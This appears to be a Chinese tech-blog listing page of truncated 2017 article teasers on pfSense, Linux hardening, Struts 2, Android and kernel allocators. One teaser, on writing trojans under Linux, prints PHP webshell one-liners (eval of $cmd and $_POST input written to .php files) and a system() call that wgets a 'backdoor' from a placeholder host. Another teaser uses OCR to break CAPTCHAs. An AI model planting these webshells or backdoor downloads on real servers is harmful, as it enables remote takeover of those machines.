家用防火墙发行版:pfsense 1.2 rc4发布

2017年02月05日 19 阅读

网络安全无处不在,打造一台家用等级的防火墙是不可避免的。其实pfSense可以做到的。pfSense是源自于m0n0wall的操作系统。它使用的技术包括Packet Filter，FreeBSD 6.x（或DragonFly BSD，假如ALTQ和CARP完成了的话）的ALTQ（以出色地支持分组队列），集成的包管理系统（以为其环境扩展新的特性）。pfSense, a firewall distribution based on FreeBSD, has r...

Linux设备驱动模型

2017年02月05日 19 阅读

1、Sysfs文件系统"sysfsis a ram-based filesystem initially based on ramfs. It provides ameans to export kernel data structures, their attributes, and thelinkages between them to userspace.”Linux2.6内核引入了sysfs文件系统。sysfs被看成是与proc同类别的文件系统。s...

把Linux伪装成windows使系统更安全

2017年02月05日 19 阅读

说真的，Linux系统已经很安全了，为什么把linux伪装成windows这里就不再讨论了，就是为了“没有绝对的安全”。可以伪装Linux为windows的系统特性，叫外界的基本判断认为系统就是windows，至少是可以增加一些系统安全性的，呵呵。网络上的计算机很容易被黑客利用工具或其它手段进行扫描，以寻找系统中的漏洞，然后再针对漏洞进行攻击。通过伪装Linux系统，给黑客设置系统假象，可以加大黑客对系统的分析难度，引诱他们步入歧途，从而进一步提高计算机系...

Struts 2中的表达式语言

2017年02月05日 19 阅读

Struts 2支持以下几种表达式语言：OGNL（Object-Graph Navigation Language），可以方便地操作对象属性的开源表达式语言； JSTL（JSP Standard Tag Library），JSP 2.0集成的标准的表达式语言； Groovy，基于Java平台的动态语言，它具有时下比较流行的动态语言（如Python、Ruby和Smarttalk等）的一些起特性； Velocity，严格来说不是表达式语言，它是一种基于Java...

Linux下的杀毒软件为什么很少？

2017年02月05日 19 阅读

Linux下的杀毒软件为什么少之又少？早在2006年,一位开源爱好者在eweek上的一篇文章阐述了自己的观点。首先，作者列出了一些人所列出的理由:1.计算机病毒是不断产生的，这需要有专门的人员对最新的病毒进行分析，然后进行产品的升级。并且现在的病毒越来越复杂，而这个需要很大的人力，物力，而这一点上开源界不可能跟拥有专门的团队的商业软件所抗衡。2.许多人认为防毒杀毒是一项太重要的任务，把这项任务交给开源软件，人们总是不放心。作者反驳了这样的观点：现在越来越多...

Struts 2体系原理图

2017年02月05日 19 阅读

Strut2的体系结构如图所示： 一个请求在Struts2框架中的处理大概分为以下几个步骤：1、客户端初始化一个指向Servlet容器（例如Tomcat）的请求；2、这个请求经过一系列的过滤器（Filter）（这些过滤器中有一个叫做ActionContextCleanUp的可选过滤器，这个过滤器对于Struts2和其他框架的集成很有帮助，例如：SiteMesh Plugin）；3、接着FilterDispatcher被调用，FilterDispatcher...

保护Linux系统安全 应该尽早开始

2017年02月05日 19 阅读

在操作系统中，大家感觉Windows漏洞很多，而Linux好像更安全些。当人们越来越热衷于寻找微软操作系统和软件的漏洞，使得Windows成为越来越多号称黑客的人攻击目标的时候，却往往忽略了世界上使用人数第二多的Linux操作系统。 其实1996年就出现了Linux平台下的第一个病毒Staog。据说这个病毒是由澳大利亚一个叫做VLAD的黑客组织用汇编语言写出的（这个组织在病毒光荣簿上留下了相当辉煌的印记，Windows 95下的第一个病毒程序Boza就...

Struts 2 拦截器

2017年02月05日 19 阅读

1、Struts2实现原理：当请求到达Struts 2的ServletDispatcher时，Struts 2会查找配置文件，并根据其配置实例化相对的拦截器对象，然后串成一个列表（list），最后一个一个地调用列表中的拦截器，如图所示。2、Struts2默认的所有拦截器：<interceptor-stackname="defaultStack"><interceptor-refname="exception"/><！--用于捕...

自己动手 让Linux操作系统更安全

2017年02月05日 19 阅读

Linux系统比起Win来说更安全可靠,但是也并不是绝对安全的,通过以下几步,让你使用Linux操作系统的更放心。 1．为LILO增加开机口令 在/etc/lilo.conf文件中增加选项，从而使LILO启动时要求输入口令，以加强系统的安全性。具体设置如下: boot=/dev/hda map=/boot/map install=/boot/boot.b time-out=60 #等待1分钟 prompt default=linux pa...

Android中利用ViewFliper实现屏幕切换效果

2017年02月05日 19 阅读

本示例是用ViewFliper实现屏幕切换图片的效果，手指滑动就实现图片的切换，主要实现效果如下：程序结构图：ViewFliper中的代码packagecom.scnu.mc.myviewfliper; importAndroid.app.Activity; importandroid.os.Bundle; importandroid.view.MotionEvent; importandroid.widget.ViewFlipper; publicc...

Linux系统的一些安全配置 让你更放心

2017年02月05日 19 阅读

由于Linux的开源，使得Linux强大功能的背后，总是有些不尽人意的地方，为了使Linux达到一个最安全的程度，还要不断的来对Linux配置要下一番功夫。 所以一般要注意主机的包漏洞修补,放火墙的设置,关闭危险服务（端口）以及每日的日志分析. 再这里我们以端口来讲述一下安全方面的问题 什么是端口 一台主机的端口可以分为监听端口与随机取用的高级端口.所谓监听端口就是主机开启了哪些服务,那么这个服务会在Linux系统里启用一个端口来监听客户端的请求....

Eclipse中新建项目都全部打红叉的解决办法

2017年02月05日 19 阅读

今天遇到一个超级郁闷的事情，Eclipse新建的项目全部都打有红叉，我起初以为自己可能是因为这两天一直在配置NDK开发环境方面的东西，是不是一不小心把那个地方给配置了，然后新建项目时项目都会出现红叉的效果。然后我clean了一下，遭大糕了，所有的项目都出错了。打开下面的错误提示：错误的意思：Debug Certificate 过期了的缘故。百度了一下，果然也有遇到相似的问题，说是牵涉了一个私钥的时间期限问题。解决办法是：进入：C:Documents and...

Linux系统的关机步骤与注意事项

2017年02月05日 21 阅读

在聊天时，一网友发来消息说Linux突然断电，数据没有保存，那么在企业中要怎么保证大家的数据保存到硬盘上了呢？这使我想到这个和windows的区别，当要关闭服务器的时候，如果有人连接到windows服务器上存取数据，windows会提示有人连接到当前的服务器，以方便我们通知用户做好保存数据的准备，那么Linux就没有这么的智能了，要我们自己人工提示用户。关于Linux的关机步骤，大部分的用户以为就使用shutdown －h now就万事大吉了，其实Linu...

Android 基于坐标的图形开发

2017年02月05日 19 阅读

1、Android中的坐标系统在Android系统中，屏幕的左上角是坐标系统的原点（0,0）坐标。原点向右延伸是X轴正方向，原点向下延伸是Y轴正方向。2、屏幕的宽和高为了在屏幕中的合适位置绘制图形，我们需要使用屏幕的宽和高作为参考，来确定绘制图形的位置。要获得屏幕的宽和高，首先从Activity对象中获得WindowManager对象，然后从WindowManager对象中获得Display对象，再从Display对象中获得屏幕的宽和高。// 获得屏幕的宽...

Objective-C开发

2017年02月05日 19 阅读

之前一直学习的是java，javaweb，最近接触的是安卓的开发，假期看了一些关于Objective-C的内容 ，由于家里没有网络不能即时发布博文和大家分享了～从之前学习的java语法到现在接触的Objective-C有很多不同之处，例如：Objective-C没有垃圾回收器，却含有保留/释放方法和自动释放池。必要时，也可以在Objective-C程序中进行垃圾回收。Java接口与Objective-C正式协议类似，因为都需要实现一组方法。Java具有抽象...

Linux操作系统安全之了解日志工具

2017年02月05日 21 阅读

对于比较高明些的攻击者来说，进入Linux操作系统后，还应了解自己的“蛛丝马迹”并清除这些痕迹，自然就要了解一些日志工具了。（1）logchecklogchek 可以自动地检查日志文件，定期检查日志文件以发现违反安全规则以及异常的活动。它先把正常的日志信息剔除掉，把一些有问题的日志保留下来，然后把这些信息 email 给系统管理员。logcheck 用 logtail 程序记住上次已经读过的日志文件的位置，然后从这个位置开始处理新的日志信息。logchec...

深入理解Linux内核之SLOB分配器

2017年02月05日 19 阅读

@CopyLeft by ICANTH，I Can do ANy THing that I CAN THink！~Author：WenHui，WuHan University，2012-5-12Version：v1.0Last Modified Time: 2012-5-20SLOB概述SLOB（Simple List Of Blocks）分配器，是一个在SLAB分配器类层之中的传统K&R/UNIX堆分配器。它比LINUX原slab分配器代码更小短...

安全教程 Linux下写入木马的方法解析

2017年02月05日 19 阅读

Linux下写入木马的方法:（1）echo "<？eval（$cmd）;？>" > /home/web/www/PREFIX/htdocs/mu.php（2）echo "<？fputs（fopen（"1.php","w+"）,"<？eval（$_POST[c]）;？>"）;？>" >test11.php（3）"system（"wget http://xxxxxx.com/backdoor -P /tmp"）"...

Python 的OCR机制分析验证码

2017年02月05日 19 阅读

在用QTP做automation的时候总会遇到烦人的验证码，尝试从技术角度出发去解决，不知为什么QTP10之后对OCR的识别能力有所下降，无奈考虑其他的办法今天搜索了大量的网站，终于有了一些小成就，不过还是只能识别一些简单的验证码，当验证码中的干扰素多的情况下识别能力还是不够给力以下为代码+测试片段：fromPILimportImagefrompytesserimport*defcaptcha（inputPic）:img=Image.open（inputP...

安全相关之Linux防火墙

2017年02月05日 19 阅读

ssh Linux ip 无法联接，man iptables检查是防火墙问题 便利用如下命令测试环境1） 重启后生效 开启： chkconfig iptables on 关闭： chkconfig iptables off2） 即时生效，重启后失效 开启： service iptables start 关闭： service iptables stop需要说明的是对于Linux下的其它服务都可以用以上命令执行开启和关闭操作。在开启了防火墙时，做如下设置，开...